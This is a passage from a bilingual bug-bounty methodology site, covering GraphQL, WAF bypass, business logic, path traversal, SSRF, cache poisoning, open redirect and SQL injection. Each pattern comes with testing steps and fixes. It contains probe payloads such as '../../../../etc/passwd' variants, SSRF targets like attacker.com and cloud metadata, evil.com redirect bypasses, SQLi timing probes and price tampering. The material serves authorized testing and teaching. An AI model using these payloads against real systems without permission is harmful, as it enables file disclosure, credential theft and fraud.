*El roadmap de Active Directory está en construcción — la lista completa de máquinas llega pronto.*
### Linux Privesc
URL: https://thehacksparrow.com/linux-privesc/
Last updated: 2026-09-23T10:56:55.000Z
*The Linux Privesc roadmap is under construction — the full machine list is coming soon.*
*El roadmap de Linux Privesc está en construcción — la lista completa de máquinas llega pronto.*
### Windows Privesc
URL: https://thehacksparrow.com/windows-privesc/
Last updated: 2026-09-23T10:56:54.000Z
*The Windows Privesc roadmap is under construction — the full machine list is coming soon.*
*El roadmap de Windows Privesc está en construcción — la lista completa de máquinas llega pronto.*
### Web Exploitation
URL: https://thehacksparrow.com/web-exploitation/
Last updated: 2026-09-23T10:56:53.000Z
*The Web Exploitation roadmap is under construction — the full machine list is coming soon.*
*El roadmap de Web Exploitation está en construcción — la lista completa de máquinas llega pronto.*
### Starting from Zero
URL: https://thehacksparrow.com/empezar-de-cero/
Last updated: 2026-09-23T10:56:52.000Z
*The Starting from Zero roadmap is under construction — the full machine list is coming soon.*
*El roadmap de Starting from Zero está en construcción — la lista completa de máquinas llega pronto.*
## Posts
### DanglingTree
URL: https://thehacksparrow.com/danglingtree/
Last updated: 2026-09-23T10:26:07.000Z
🔒 Active machine — writeup locked
**DanglingTree** is still **active** on Hack The Box. Following the platform's rules, the full writeup will be published here **as soon as the machine retires**.
[View DanglingTree on Hack The Box →](https://www.hackthebox.com/machines/danglingtree?ref=thehacksparrow.com)
🔒 Máquina activa — writeup bloqueado
**DanglingTree** sigue **activa** en Hack The Box. Por respeto a las reglas de la plataforma, el writeup completo se publicará aquí **en cuanto la máquina se retire**.
[Ver DanglingTree en Hack The Box →](https://www.hackthebox.com/machines/danglingtree?ref=thehacksparrow.com)
### Cohort
URL: https://thehacksparrow.com/cohort/
Last updated: 2026-09-23T10:26:07.000Z
🔒 Active machine — writeup locked
**Cohort** is still **active** on Hack The Box. Following the platform's rules, the full writeup will be published here **as soon as the machine retires**.
[View Cohort on Hack The Box →](https://www.hackthebox.com/machines/Cohort?ref=thehacksparrow.com)
🔒 Maquina activa — writeup bloqueado
**Cohort** sigue **activa** en Hack The Box. Por respeto a las reglas de la plataforma, el writeup completo se publicara aqui **en cuanto la maquina se retire**.
[Ver Cohort en Hack The Box →](https://www.hackthebox.com/machines/Cohort?ref=thehacksparrow.com)
### DarkZeroReturns
URL: https://thehacksparrow.com/darkzeroreturns/
Last updated: 2026-09-23T10:26:08.000Z
🔒 Active machine — writeup locked
**DarkZeroReturns** is still **active** on Hack The Box. Following the platform's rules, the full writeup will be published here **as soon as the machine retires**.
[View DarkZeroReturns on Hack The Box →](https://www.hackthebox.com/machines/DarkZeroReturns?ref=thehacksparrow.com)
🔒 Maquina activa — writeup bloqueado
**DarkZeroReturns** sigue **activa** en Hack The Box. Por respeto a las reglas de la plataforma, el writeup completo se publicara aqui **en cuanto la maquina se retire**.
[Ver DarkZeroReturns en Hack The Box →](https://www.hackthebox.com/machines/DarkZeroReturns?ref=thehacksparrow.com)
### GraphQL Misconfiguration
URL: https://thehacksparrow.com/vulnerability-pattern-graphql/
Last updated: 2026-09-23T10:55:33.000Z
## What it is
A GraphQL endpoint exposing more than it should — introspection left enabled in production, revealing the entire schema, or mutations that skip authorization checks their REST equivalents would enforce.
## Why it matters
One query can enumerate the entire internal data model — types, fields, relationships — turning what would take days of REST endpoint discovery into a single request.
## Where to look
- Common paths:
```text
/graphql
```
,
```text
/api/graphql
```
,
```text
/gql
```
,
```text
/v1/graphql
```
## How I test it
1. Find the GraphQL endpoint.
2. Send a simple query to confirm it responds.
3. Check introspection:
```graphql
{ __schema { types { name } } }
```
— if this returns data, the whole schema is enumerable.
4. Enumerate types and mutations from the schema, looking for anything sensitive by name (user, admin, billing, internal).
5. Test with two accounts: does a query let account B read account A's data by ID (GraphQL IDOR)? Does a mutation let a normal account perform an action it shouldn't?
## Hunting checklist
- Found the GraphQL endpoint
- Tested introspection
- Enumerated the schema for sensitive types/fields
- Tested IDOR-style access through queries with two accounts
- Tested unauthorized mutations with a normal account
## Evidence to collect
- The introspection query and its full response
- A query/mutation proving unauthorized read or write access
- Explanation of which internal structures/data were exposed
## Recommended fix
- Disable introspection in production
- Apply the same authorization checks to GraphQL resolvers that REST endpoints would enforce — per field, not just per endpoint
- Rate-limit and depth-limit queries to prevent enumeration and abuse
## Qué es
Un endpoint GraphQL que expone más de lo que debería — introspection dejado activo en producción, revelando el schema entero, o mutations que se saltan las comprobaciones de autorización que sí tendría su equivalente REST.
## Por qué importa
Una sola query puede enumerar todo el modelo de datos interno — tipos, campos, relaciones — convirtiendo lo que llevaría días de descubrimiento de endpoints REST en una única petición.
## Dónde buscar
- Rutas habituales:
```text
/graphql
```
,
```text
/api/graphql
```
,
```text
/gql
```
,
```text
/v1/graphql
```
## Cómo lo pruebo
1. Encuentra el endpoint GraphQL.
2. Envía una query simple para confirmar que responde.
3. Comprueba introspection:
```graphql
{ __schema { types { name } } }
```
— si esto devuelve datos, todo el schema es enumerable.
4. Enumera tipos y mutations a partir del schema, buscando algo sensible por nombre (user, admin, billing, internal).
5. Prueba con dos cuentas: ¿una query permite que la cuenta B lea datos de la cuenta A por ID (IDOR en GraphQL)? ¿Una mutation permite que una cuenta normal haga algo que no debería?
## Checklist de hunting
- Encontrado el endpoint GraphQL
- Probado introspection
- Enumerado el schema buscando tipos/campos sensibles
- Probado acceso tipo IDOR vía queries con dos cuentas
- Probadas mutations no autorizadas con cuenta normal
## Evidencias para el reporte
- La query de introspection y su respuesta completa
- Una query/mutation que demuestre lectura o escritura no autorizada
- Explicación de qué estructuras/datos internos quedaron expuestos
## Mitigación
- Desactivar introspection en producción
- Aplicar a los resolvers de GraphQL las mismas comprobaciones de autorización que tendría un endpoint REST — por campo, no solo por endpoint
- Limitar rate y profundidad de las queries para evitar enumeración y abuso
### WAF Bypass
URL: https://thehacksparrow.com/vulnerability-pattern-waf-bypass/
Last updated: 2026-09-23T10:55:32.000Z
## What it is
A WAF (or similar filter) blocks the 'obvious' shape of a payload, but the underlying vulnerability is completely untouched — the WAF is pattern-matching on syntax, not understanding intent, so a differently-encoded or restructured payload sails straight through.
## Why it matters
It turns an already-fixed-looking finding back into a live one, and it's usually the difference between a program dismissing a report as 'already mitigated' and accepting it as critical.
## Where to look
- Anywhere a payload gets a generic 403/406 block page instead of the app's normal error handling — that mismatch is the signature of a WAF sitting in front, not application logic
## How I test it
1. Confirm it's actually a WAF: does the block page differ from the app's own error pages? Does it trigger on keywords rather than on malformed syntax?
2. Try case variation, whitespace/comment insertion, and alternate encodings — URL, double URL, Unicode, HTML entities.
3. Try HTTP parameter pollution — repeating the same parameter name with different values.
4. Try wrapping the payload in a format the WAF doesn't parse but the backend does — nested encoding, an unexpected Content-Type, JSON where XML was expected or vice versa.
5. Once a variant slips through, re-confirm the *original* vulnerability's impact still holds with the modified payload — a bypass without impact is just a curiosity.
## Hunting checklist
- Confirmed the block is coming from a WAF, not app logic
- Tried case/whitespace/comment variations
- Tried at least two encoding schemes
- Tried parameter pollution
- Tried an alternate content wrapping/Content-Type
- Re-confirmed the underlying vulnerability still fires with the bypass payload
## Evidence to collect
- The blocked payload and its block response
- The bypass payload and its accepted response
- Proof the underlying vulnerability still triggers (screenshot/response showing the actual impact, not just '200 OK')
## Recommended fix
- Fix the underlying vulnerability — a WAF rule is not a patch
- Normalize and decode input consistently before both the WAF and the application evaluate it, so they see the same thing
- Treat WAF rules as defense in depth, never as the only control
## Qué es
Un WAF (u otro filtro similar) bloquea la forma 'obvia' de un payload, pero la vulnerabilidad de fondo sigue intacta — el WAF hace pattern-matching sobre sintaxis, no entiende la intención, así que un payload codificado o reestructurado de otra forma pasa sin problema.
## Por qué importa
Convierte un hallazgo que parecía ya corregido en algo vigente de nuevo, y suele ser la diferencia entre que un programa descarte un reporte como 'ya mitigado' y que lo acepte como crítico.
## Dónde buscar
- Cualquier sitio donde un payload reciba una página de bloqueo genérica 403/406 en vez del manejo de errores normal de la app — esa discrepancia es la firma de un WAF por delante, no de la lógica de la aplicación
## Cómo lo pruebo
1. Confirma que es de verdad un WAF: ¿la página de bloqueo es distinta de las páginas de error propias de la app? ¿Se dispara por palabras clave más que por sintaxis mal formada?
2. Prueba variación de mayúsculas/minúsculas, inserción de espacios/comentarios, y encodings alternativos — URL, doble URL, Unicode, entidades HTML.
3. Prueba HTTP parameter pollution — repetir el mismo nombre de parámetro con valores distintos.
4. Prueba envolver el payload en un formato que el WAF no parsea pero el backend sí — encoding anidado, un Content-Type inesperado, JSON donde se esperaba XML o viceversa.
5. Cuando una variante pase, reconfirma que el impacto de la vulnerabilidad *original* se sostiene con el payload modificado — un bypass sin impacto es solo una curiosidad.
## Checklist de hunting
- Confirmado que el bloqueo viene de un WAF, no de la lógica de la app
- Probadas variaciones de mayúsculas/espacios/comentarios
- Probados al menos dos esquemas de encoding
- Probado parameter pollution
- Probado un envoltorio de contenido/Content-Type alternativo
- Reconfirmado que la vulnerabilidad de fondo se sigue disparando con el payload de bypass
## Evidencias para el reporte
- El payload bloqueado y su respuesta de bloqueo
- El payload de bypass y su respuesta aceptada
- Prueba de que la vulnerabilidad de fondo sigue disparándose (captura/respuesta mostrando el impacto real, no solo un '200 OK')
## Mitigación
- Corregir la vulnerabilidad de fondo — una regla de WAF no es un parche
- Normalizar y decodificar el input de forma consistente antes de que lo evalúen tanto el WAF como la aplicación, para que ambos vean lo mismo
- Tratar las reglas de WAF como defensa en profundidad, nunca como único control
### Business Logic Abuse
URL: https://thehacksparrow.com/vulnerability-pattern-business-logic/
Last updated: 2026-09-23T10:55:33.000Z
## What it is
Abusing intended functionality in a way the application's rules never anticipated — not a technical injection, just performing steps in an order, combination or value range the logic didn't defend against: changing an email without confirming it, reusing a coupon, tampering with a price/quantity field client-side, joining a team without an invite.
## Why it matters
These bugs are invisible to scanners and WAFs because every individual request looks perfectly valid — the flaw is in the sequence or the assumption, not the syntax. Programs value them highly because they map directly onto real financial or operational harm.
## Where to look
- Checkout/cart flows, coupons, credits, gift cards, subscription plans
- Team/invite flows, multi-step wizards, any flow with a 'confirm later' step
## How I test it
1. Map the full happy path of a flow end to end, every step in order.
2. At each step ask: what if I skip this, repeat this, do it out of order, or substitute a different value than the UI offers?
3. Intercept and edit values the backend should be recalculating itself — price, quantity, discount, role — and see if it actually recalculates or just trusts the client.
4. For price manipulation specifically: capture the cart/checkout request (
```text
{"product_id": 123, "price": 99.99}
```
), change the price field directly (
```text
{"product_id": 123, "price": 1.00}
```
), and see if the final charge reflects it.
5. Try replaying a step from a different account, or with a stale/expired session, to see if state assumptions hold.
## Hunting checklist
- Mapped the complete happy path
- Tried skipping a step
- Tried repeating a one-time step
- Tried reordering steps
- Tampered with any client-visible price/quantity/role field
- Confirmed the backend doesn't recalculate the tampered value
- Tried the flow with a stale or cross-account session
## Evidence to collect
- The full request sequence, in order
- The tampered request and its response
- Proof the final state (charge, balance, role) reflects the tampered value
- Clear real-world impact statement — money, access, or data affected
## Recommended fix
- Recalculate all financial/authorization-relevant values server-side, never trust the client's copy
- Enforce step order and one-time-use constraints server-side
- Idempotency keys for anything that shouldn't be repeatable
## Qué es
Abusar de una funcionalidad intencional de una forma que las reglas de la aplicación nunca contemplaron — no es una inyección técnica, es solo hacer los pasos en un orden, combinación o rango de valores que la lógica no defendía: cambiar un email sin confirmarlo, reutilizar un cupón, manipular un campo de precio/cantidad desde el cliente, unirte a un equipo sin invitación.
## Por qué importa
Estos bugs son invisibles para escáneres y WAFs porque cada petición individual parece perfectamente válida — el fallo está en la secuencia o en la suposición, no en la sintaxis. Los programas los valoran mucho porque se traducen directamente en daño económico u operativo real.
## Dónde buscar
- Flujos de carrito/checkout, cupones, créditos, gift cards, planes de suscripción
- Flujos de equipo/invitación, asistentes multi-paso, cualquier flujo con un paso de 'confirmar más tarde'
## Cómo lo pruebo
1. Mapea el camino feliz completo de un flujo, de principio a fin, paso a paso.
2. En cada paso pregúntate: ¿qué pasa si me salto esto, lo repito, lo hago fuera de orden, o sustituyo un valor distinto al que ofrece la UI?
3. Intercepta y edita valores que el backend debería recalcular por sí mismo — precio, cantidad, descuento, rol — y comprueba si de verdad los recalcula o solo confía en el cliente.
4. Para manipulación de precio en concreto: captura la petición de carrito/checkout (
```text
{"product_id": 123, "price": 99.99}
```
), cambia el campo precio directamente (
```text
{"product_id": 123, "price": 1.00}
```
), y comprueba si el cobro final lo refleja.
5. Prueba repetir un paso desde otra cuenta, o con una sesión caducada/antigua, para ver si las suposiciones de estado se sostienen.
## Checklist de hunting
- Mapeado el camino feliz completo
- Probado saltarse un paso
- Probado repetir un paso de un solo uso
- Probado reordenar pasos
- Manipulado algún campo de precio/cantidad/rol visible desde el cliente
- Confirmado que el backend no recalcula el valor manipulado
- Probado el flujo con una sesión antigua o de otra cuenta
## Evidencias para el reporte
- La secuencia completa de peticiones, en orden
- La petición manipulada y su respuesta
- Prueba de que el estado final (cobro, saldo, rol) refleja el valor manipulado
- Explicación clara del impacto real — dinero, acceso o datos afectados
## Mitigación
- Recalcular en servidor todo valor relevante para dinero/autorización, nunca confiar en la copia del cliente
- Forzar el orden de pasos y las restricciones de uso único en servidor
- Claves de idempotencia para cualquier cosa que no deba poder repetirse
### Path Traversal / LFI
URL: https://thehacksparrow.com/vulnerability-pattern-path-traversal/
Last updated: 2026-09-23T10:55:34.000Z
## What it is
Reading internal files by manipulating a path parameter with relative path sequences —
```text
../../../../etc/passwd
```
tacked onto a parameter meant to point at a document the app was supposed to serve.
## Why it matters
It reaches straight past the application layer into the filesystem — config files, credentials, source code and environment variables are all fair game if the traversal isn't blocked.
## Where to look
- Download and view-document endpoints, export features
- Parameters named
```text
file=
```
,
```text
path=
```
,
```text
template=
```
,
```text
page=
```
,
```text
document=
```
## How I test it
1. Find download or view endpoints.
2. Identify the file-referencing parameter.
3. Try relative paths:
```text
../../../../etc/passwd
```
, encoded variants like
```text
..%2f..%2f..%2fetc%2fpasswd
```
, and obfuscated ones like
```text
....//....//etc/passwd
```
(in case a naive filter strips
```text
../
```
only once); on Windows try
```text
..\..\..\windows\win.ini
```
.
4. Check whether the response contains unexpected file content instead of the usual document.
## Hunting checklist
- Found a file/path/download parameter
- Tried plain relative-path traversal
- Tried URL-encoded and double-slash-obfuscated variants
- Tried the OS-appropriate separator (\\ on Windows)
- Confirmed actual file content in the response, not just a different error
## Evidence to collect
- Vulnerable endpoint and parameter
- Payload used
- Response containing the internal file's content
- Explanation of what that file exposes (config, credentials, source code)
## Recommended fix
- Never build file paths from user input directly
- Resolve the path and verify it stays inside an allowed base directory
- Use an internal ID/allowlist of filenames instead of accepting a path
- Run the process with minimal filesystem permissions
## Qué es
Leer archivos internos manipulando un parámetro de ruta con secuencias de ruta relativa —
```text
../../../../etc/passwd
```
pegado a un parámetro pensado para apuntar a un documento que la app debía servir.
## Por qué importa
Se salta directamente la capa de aplicación y llega al sistema de archivos — ficheros de configuración, credenciales, código fuente y variables de entorno quedan expuestos si el traversal no está bloqueado.
## Dónde buscar
- Endpoints de descarga y visualización de documentos, funciones de exportación
- Parámetros llamados
```text
file=
```
,
```text
path=
```
,
```text
template=
```
,
```text
page=
```
,
```text
document=
```
## Cómo lo pruebo
1. Encuentra endpoints de descarga o visualización.
2. Identifica el parámetro que referencia el archivo.
3. Prueba rutas relativas:
```text
../../../../etc/passwd
```
, variantes codificadas como
```text
..%2f..%2f..%2fetc%2fpasswd
```
, y ofuscadas como
```text
....//....//etc/passwd
```
(por si un filtro ingenuo solo quita
```text
../
```
una vez); en Windows prueba
```text
..\..\..\windows\win.ini
```
.
4. Comprueba si la respuesta trae contenido de archivo inesperado en vez del documento habitual.
## Checklist de hunting
- Encontrado un parámetro de file/path/download
- Probado traversal de ruta relativa simple
- Probadas variantes con URL-encoding y doble barra ofuscada
- Probado el separador propio del SO (\\ en Windows)
- Confirmado contenido real de archivo en la respuesta, no solo un error distinto
## Evidencias para el reporte
- Endpoint y parámetro vulnerable
- Payload usado
- Respuesta con el contenido del archivo interno
- Explicación de qué expone ese archivo (configuración, credenciales, código fuente)
## Mitigación
- Nunca construir rutas de archivo directamente desde input del usuario
- Resolver la ruta y verificar que se queda dentro de un directorio base permitido
- Usar un ID interno/allowlist de nombres de archivo en vez de aceptar una ruta
- Ejecutar el proceso con permisos mínimos de sistema de archivos
### SSRF
URL: https://thehacksparrow.com/vulnerability-pattern-ssrf/
Last updated: 2026-09-23T10:55:35.000Z
## What it is
You get the target's own server to make a request to a URL you control —
```text
POST /api/fetch-image {"url": "https://attacker.com"}
```
and the server actually visits that URL.
## Why it matters
It turns the server into your proxy for reaching things you shouldn't be able to reach directly — internal services, cloud metadata endpoints, anything sitting behind the same firewall as the app.
## Where to look
- Import-image-by-URL, webhooks, link previews, PDF/screenshot generators
- Import-from-URL features, format converters, avatar-by-URL, third-party integrations
## How I test it
1. Find a feature that accepts a URL.
2. Point it at Burp Collaborator or a server you control.
3. Confirm a request actually arrives, and check whether it came from the server or from the victim's own browser (that distinction matters — see the client-side variant below).
4. Test whether it follows redirects, and whether internal ranges are blocked:
```text
http://127.0.0.1
```
,
```text
http://169.254.169.254
```
(cloud metadata),
```text
file:///etc/passwd
```
.
## Hunting checklist
- Found a URL-accepting feature
- Confirmed a real out-of-band request using Collaborator or a controlled server
- Confirmed it's the server making the request, not the client
- Tested redirect-following
- Tested internal IP ranges and the metadata endpoint — carefully, and only where the program's rules allow touching cloud metadata
## Evidence to collect
- The request that accepts a URL
- Proof of an out-of-band callback (Collaborator log or your own server log)
- Response showing internal content, if reachable
- Confirmation the request originates server-side
## Recommended fix
- Allowlist destinations instead of blocklisting
- Block requests to internal/private IP ranges and the cloud metadata address at the network layer
- Disable redirect-following on server-side fetches, or re-validate after each redirect
- Restrict URL schemes to http/https
## Qué es
Consigues que el propio servidor del target haga una petición a una URL que tú controlas —
```text
POST /api/fetch-image {"url": "https://attacker.com"}
```
y el servidor visita de verdad esa URL.
## Por qué importa
Convierte al servidor en tu proxy para alcanzar cosas a las que no deberías poder llegar directamente — servicios internos, endpoints de metadata cloud, cualquier cosa detrás del mismo firewall que la app.
## Dónde buscar
- Importar imagen por URL, webhooks, vistas previas de enlace, generadores de PDF/screenshot
- Funciones de importar desde URL, conversores de formato, avatar por URL, integraciones con terceros
## Cómo lo pruebo
1. Encuentra una función que acepte una URL.
2. Apúntala a Burp Collaborator o a un servidor propio.
3. Confirma que llega de verdad la petición, y comprueba si viene del servidor o del propio navegador de la víctima (esa distinción importa — ver la variante client-side más abajo).
4. Prueba si sigue redirecciones, y si bloquea rangos internos:
```text
http://127.0.0.1
```
,
```text
http://169.254.169.254
```
(metadata cloud),
```text
file:///etc/passwd
```
.
## Checklist de hunting
- Encontrada una función que acepta URL
- Confirmada una petición real fuera de banda con Collaborator o servidor propio
- Confirmado que es el servidor quien hace la petición, no el cliente
- Probado si sigue redirecciones
- Probados rangos IP internos y el endpoint de metadata — con cuidado, y solo donde las reglas del programa permitan tocar metadata cloud
## Evidencias para el reporte
- La petición que acepta una URL
- Prueba de una llamada fuera de banda (log de Collaborator o de tu propio servidor)
- Respuesta mostrando contenido interno, si era alcanzable
- Confirmación de que la petición se origina en el servidor
## Mitigación
- Allowlist de destinos en vez de blocklist
- Bloquear peticiones a rangos IP internos/privados y a la dirección de metadata cloud a nivel de red
- Desactivar el seguimiento de redirecciones en fetches del servidor, o revalidar tras cada redirección
- Restringir los esquemas de URL a http/https
### Cache Poisoning & Cache Deception
URL: https://thehacksparrow.com/vulnerability-pattern-cache/
Last updated: 2026-09-23T10:55:36.000Z
## What it is
Two related but distinct bugs. **Cache poisoning**: an unkeyed input — a header or query param the cache doesn't include in its cache key — changes the response, and the cache then serves that poisoned response to every other visitor. **Cache deception**: tricking a cache into storing a private, personalized response under a URL that looks static, then fetching that same URL unauthenticated to read someone else's data.
## Why it matters
The blast radius is the whole cache, not just your own request — one poisoned entry affects every visitor to that URL until it expires or gets purged. That's what turns a 'reflection' bug into something worth taking seriously.
## Where to look
- Anything sitting behind a CDN or reverse-proxy cache
- Look at
```text
Vary
```
,
```text
Cache-Control
```
and
```text
Age
```
headers
- Endpoints that reflect
```text
X-Forwarded-Host
```
,
```text
X-Forwarded-Scheme
```
or
```text
Host
```
into the response
## How I test it
1. Identify caching:
```text
Cache-Control
```
,
```text
Age
```
,
```text
X-Cache
```
headers, or just suspiciously consistent response timing.
2. Add an unkeyed header —
```text
X-Forwarded-Host
```
,
```text
X-Forwarded-Scheme
```
,
```text
X-Original-URL
```
— with an attacker-controlled value and check if it reflects in the body, a redirect, or a script src.
3. Confirm the poisoned response actually gets *cached and served back* to a second, unauthenticated request from a different session — without this step, all you have is reflection, not poisoning.
4. For cache deception: append a fake static-looking suffix to a private authenticated URL (
```text
/account/settings/x.css
```
) and check whether the personalized response gets cached and can then be fetched without authentication.
## Hunting checklist
- Confirmed a caching layer exists
- Tried at least one unkeyed header for reflection
- Verified the poisoned response is served to a second, unauthenticated, different-session request
- Tried cache deception with a static-looking suffix on a private URL
- Captured the response before AND after poisoning to prove the change
## Evidence to collect
- Request with the unkeyed header
- First (poisoned) response
- Second, unrelated request showing the same poisoned response served back
- Cache-related headers on both responses (Age, X-Cache)
- For deception: proof the private data was retrievable without authentication
## Recommended fix
- Include every input that affects the response in the cache key, or don't cache responses that depend on it
- Strip/normalize forwarded headers at the edge before they reach the origin
- Never cache authenticated/personalized responses by default
- Match cache rules on exact paths, not loose suffix patterns
## Qué es
Dos bugs relacionados pero distintos. **Cache poisoning**: un input no incluido en la clave de caché — una cabecera o parámetro que la caché no tiene en cuenta — cambia la respuesta, y la caché sirve después esa respuesta envenenada a cualquier otro visitante. **Cache deception**: engañar a una caché para que guarde una respuesta privada y personalizada bajo una URL que parece estática, y luego pedir esa misma URL sin autenticarse para leer los datos de otra persona.
## Por qué importa
El radio de impacto es la caché entera, no solo tu propia petición — una entrada envenenada afecta a cada visitante de esa URL hasta que expira o se purga. Eso es lo que convierte un bug de 'reflejo' en algo que merece la pena tomarse en serio.
## Dónde buscar
- Cualquier cosa detrás de una CDN o caché de proxy inverso
- Fíjate en las cabeceras
```text
Vary
```
,
```text
Cache-Control
```
y
```text
Age
```
- Endpoints que reflejan
```text
X-Forwarded-Host
```
,
```text
X-Forwarded-Scheme
```
o
```text
Host
```
en la respuesta
## Cómo lo pruebo
1. Identifica si hay caché: cabeceras
```text
Cache-Control
```
,
```text
Age
```
,
```text
X-Cache
```
, o simplemente un tiempo de respuesta sospechosamente constante.
2. Añade una cabecera no incluida en la clave de caché —
```text
X-Forwarded-Host
```
,
```text
X-Forwarded-Scheme
```
,
```text
X-Original-URL
```
— con un valor controlado por ti y comprueba si se refleja en el cuerpo, una redirección o un src de script.
3. Confirma que la respuesta envenenada se *guarda en caché y se sirve de vuelta* a una segunda petición, sin autenticar, desde otra sesión — sin este paso, solo tienes un reflejo, no un envenenamiento.
4. Para cache deception: añade un sufijo falso con pinta de estático a una URL privada y autenticada (
```text
/account/settings/x.css
```
) y comprueba si la respuesta personalizada se cachea y luego se puede pedir sin autenticación.
## Checklist de hunting
- Confirmada la existencia de una capa de caché
- Probada al menos una cabecera no incluida en la clave, buscando reflejo
- Verificado que la respuesta envenenada se sirve a una segunda petición, sin autenticar, desde otra sesión
- Probado cache deception con un sufijo con pinta de estático en una URL privada
- Capturada la respuesta antes Y después del envenenamiento para probar el cambio
## Evidencias para el reporte
- Petición con la cabecera no incluida en la clave
- Primera respuesta (envenenada)
- Segunda petición, no relacionada, mostrando la misma respuesta envenenada servida de vuelta
- Cabeceras relacionadas con caché en ambas respuestas (Age, X-Cache)
- Para deception: prueba de que el dato privado se pudo obtener sin autenticación
## Mitigación
- Incluir en la clave de caché cada input que afecte a la respuesta, o no cachear respuestas que dependan de él
- Limpiar/normalizar las cabeceras forwarded en el borde antes de que lleguen al origen
- No cachear por defecto respuestas autenticadas/personalizadas
- Ajustar las reglas de caché a rutas exactas, no a patrones de sufijo laxos
### Open Redirect
URL: https://thehacksparrow.com/vulnerability-pattern-open-redirect/
Last updated: 2026-09-23T10:55:38.000Z
## What it is
The app takes a URL as a parameter and redirects the user to it without validating it properly —
```text
GET /redirect?url=https://trusted.com
```
becomes
```text
GET /redirect?url=https://attacker.com
```
and the app happily sends the user there.
## Why it matters
It looks trivial but it isn't: the link starts with a legitimate domain, which is exactly what makes it convincing for phishing, and it chains well with OAuth abuse, credential theft, and login-redirect flows.
## Where to look
- Parameters named
```text
url=
```
,
```text
redirect=
```
,
```text
next=
```
,
```text
return=
```
,
```text
continue=
```
,
```text
dest=
```
,
```text
redirect_uri=
```
- Endpoints like
```text
/login
```
,
```text
/logout
```
,
```text
/sso
```
,
```text
/tracking
```
,
```text
/click
```
## How I test it
1. Browse with Burp open and watch for 301/302/303/307/308 responses.
2. Check whether the
```text
Location
```
header value comes from a controllable parameter.
3. Swap the destination for your own domain and confirm the redirect follows.
4. If blocked, try bypasses:
```text
//evil.com
```
,
```text
https://trusted.com@evil.com
```
(browser reads
```text
trusted.com
```
as credentials,
```text
evil.com
```
as the real host),
```text
trusted.com.evil.com
```
, and encoding variants.
5. If the endpoint checks the
```text
Referer
```
header, remember the browser sends it automatically when a victim clicks a link placed somewhere inside the platform itself (a bio, a comment, a public field) — the Referer check alone proves nothing.
## Hunting checklist
- Found a redirect-carrying parameter returning a 30x
- Confirmed control over the destination
- Tried
```text
//evil.com
```
and
```text
trusted.com@evil.com
```
variants
- Tried encoding and double-encoding
- Checked whether Referer validation is actually being bypassed by hosting the link inside the platform
- Captured a screenshot of the browser landing on the external domain
## Evidence to collect
- Vulnerable URL
- Vulnerable parameter
- Payload used
- HTTP response with the Location header
- Screenshot of the browser landing on the external domain
- Realistic impact — phishing, OAuth abuse, login redirect
## Recommended fix
- Never trust the Referer header for this
- Validate with a real URL parser, compare the hostname exactly — not a substring/contains check
- Strict allowlist
- Reject URLs containing credentials (
```text
@
```
)
- Prefer internal IDs over full URLs where possible
## Qué es
La app recibe una URL como parámetro y redirige al usuario sin validarla bien —
```text
GET /redirect?url=https://trusted.com
```
pasa a
```text
GET /redirect?url=https://attacker.com
```
y la app te manda ahí sin problema.
## Por qué importa
Parece trivial pero no lo es: el enlace empieza con un dominio legítimo, que es justo lo que lo hace creíble para phishing, y encadena bien con abuso de OAuth, robo de credenciales, y flujos de redirección tras login.
## Dónde buscar
- Parámetros llamados
```text
url=
```
,
```text
redirect=
```
,
```text
next=
```
,
```text
return=
```
,
```text
continue=
```
,
```text
dest=
```
,
```text
redirect_uri=
```
- Endpoints como
```text
/login
```
,
```text
/logout
```
,
```text
/sso
```
,
```text
/tracking
```
,
```text
/click
```
## Cómo lo pruebo
1. Navega con Burp abierto y fíjate en respuestas 301/302/303/307/308.
2. Comprueba si el valor de la cabecera
```text
Location
```
viene de un parámetro controlable.
3. Cambia el destino por tu propio dominio y confirma que la redirección sigue.
4. Si está bloqueado, prueba bypasses:
```text
//evil.com
```
,
```text
https://trusted.com@evil.com
```
(el navegador lee
```text
trusted.com
```
como credenciales,
```text
evil.com
```
como host real),
```text
trusted.com.evil.com
```
, y variantes de encoding.
5. Si el endpoint comprueba la cabecera
```text
Referer
```
, recuerda que el navegador la envía sola cuando la víctima hace clic en un enlace colocado dentro de la propia plataforma (una bio, un comentario, un campo público) — la comprobación de Referer sola no prueba nada.
## Checklist de hunting
- Encontrado un parámetro de redirección devolviendo 30x
- Confirmado control sobre el destino
- Probadas variantes
```text
//evil.com
```
y
```text
trusted.com@evil.com
```
- Probado encoding y doble encoding
- Comprobado si la validación de Referer se salta alojando el enlace dentro de la plataforma
- Capturada la pantalla del navegador aterrizando en el dominio externo
## Evidencias para el reporte
- URL vulnerable
- Parámetro vulnerable
- Payload usado
- Respuesta HTTP con la cabecera Location
- Captura del navegador aterrizando en el dominio externo
- Impacto realista — phishing, abuso de OAuth, redirección tras login
## Mitigación
- Nunca confiar en la cabecera Referer para esto
- Validar con un parser real de URLs, comparar el hostname exacto — no un contains
- Allowlist estricta
- Rechazar URLs con credenciales (
```text
@
```
)
- Preferir IDs internos frente a URLs completas cuando sea posible
### SQL Injection
URL: https://thehacksparrow.com/vulnerability-pattern-sqli/
Last updated: 2026-09-23T10:55:38.000Z
## What it is
Unsanitized input reaches a SQL query and changes its logic — from a tautology that returns extra rows to blind, stacked queries that exfiltrate data one character at a time.
## Why it matters
Still one of the highest-severity classes available: a single injectable parameter can mean full database read/write, and occasionally remote code execution through database-server features.
## Where to look
- Any parameter feeding a lookup, filter, sort or search — including ones not visible in the UI
- Hidden POST fields, JSON body keys, HTTP headers (
```text
User-Agent
```
,
```text
X-Forwarded-For
```
), and occasionally parameter names themselves
## How I test it
1. Find a parameter that plausibly touches a database — search, filter, sort, an ID lookup.
2. Send a single quote and see if it breaks the response: an error message, a blank page, or a different status code.
3. Try a boolean pair —
```sql
... AND 1=1
```
vs
```sql
... AND 1=2
```
— and diff the two responses.
4. No visible difference? Move to time-based blind: an equivalent of
```sql
WAITFOR DELAY
```
/
```sql
SLEEP()
```
and measure response time.
5. Once confirmed, map the injection type — error-based, union, boolean-blind, time-blind — and extract schema info (table/column names) before touching actual user rows.
## Hunting checklist
- Tested a single quote for a syntax break
- Tested a boolean true/false pair and diffed responses
- Tested time-based blind if no visible difference appeared
- Tested hidden fields and headers, not just visible query params
- Confirmed injection type before extracting any real data
- Stopped at schema-level proof, didn't dump user tables unnecessarily
## Evidence to collect
- Baseline request/response
- Request with the boolean-true payload and its response
- Request with the boolean-false payload and its response
- Timing proof for blind cases
- Minimal schema-level data proving impact (e.g. database version), not a full data dump
## Recommended fix
- Parameterized queries / prepared statements everywhere
- Least-privilege database accounts
- Input validation as defense in depth, never as the only control
- Generic error messages — don't leak query structure
## Qué es
